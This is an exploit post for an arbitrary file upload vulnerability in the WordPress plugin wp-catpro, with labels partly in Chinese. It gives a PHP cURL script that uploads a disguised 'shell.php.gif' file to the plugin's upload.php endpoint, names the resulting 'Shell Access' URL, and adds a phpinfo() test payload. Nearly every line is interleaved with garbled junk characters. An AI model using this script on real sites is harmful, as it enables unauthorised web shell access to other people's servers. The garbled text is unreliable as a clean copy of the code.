Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
% |" L, p2 j+ c$ a5 n9 }#-----------------------------------------------------------------------4 J2 e3 }; o2 d" f
& N7 E( H6 C u% i5 z% X作者 => Zikou-169 b& J2 Q- W/ Y3 c6 R
邮箱 => zikou16x@gmail.com H! s) C/ u& n* E, a4 a
测试系统 : Windows 7 , Backtrack 5r33 N4 i7 I& \* v$ {: C9 P
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
2 y2 D8 r/ h, d$ H2 J5 f####
" V6 w+ V+ F4 k3 H* ?- t9 a 4 F/ D ?$ s. `3 Z6 V& e
#=> Exploit 信息:
! A- W8 N {4 {------------------
. x5 ~% X( c1 I8 y; m9 ~4 L( }6 p# 攻击者可以上传 file/shell.php.gif+ @7 r6 E; w1 I5 I# J
# ("jpg", "gif", "png") // Allowed file extensions
5 E$ c4 ^8 _) ~# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment). P, W, n! S: W7 B
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
( M5 `, k( M! L2 D: i' L------------------
9 l) n9 p' t" M * w5 s2 t; T2 X0 \6 V( z* ]( D
#=> Exploit
4 B; ]4 e* g9 f-----------; ]1 R: l2 L4 L/ K
<?php& t* Q; d/ a) @0 W
$ D' t H0 m- p% c% s
$uploadfile="zik.php.gif";
' D6 C2 Q- P9 U+ i. ~7 L2 {$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");. {5 A2 N) N3 a4 n2 _( L J9 C
curl_setopt($ch, CURLOPT_POST, true);
- @4 N1 N! z$ r# V4 scurl_setopt($ch, CURLOPT_POSTFIELDS,- d! q7 e# d! }0 t
array('Filedata'=>"@$uploadfile",
/ f+ y8 U/ }7 y6 o, M: F6 V'folder'=>'/wp-content/uploads/catpro/'));+ K% ~! H# g+ |2 s; s( c/ F
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); T9 I7 I& Z5 ~4 G% D! }
$postResult = curl_exec($ch);3 {( C* U( r% g Y$ `" o# F5 G
curl_close($ch);' \& d6 s: y' L( S; E! \( w- i
3 V; `1 r5 Q% n; k7 n5 }( vprint "$postResult";
6 j. I q, W. ~7 [8 Z/ {
* n9 j f/ R2 r) H9 OShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif5 |$ ?/ H) R: I/ m
?>3 @2 y o9 `( ]4 q) T. ?$ h7 p1 ~
<?php
K0 p; H5 f X2 ~4 _phpinfo();
9 \. p; }- v$ ]% }# g?> |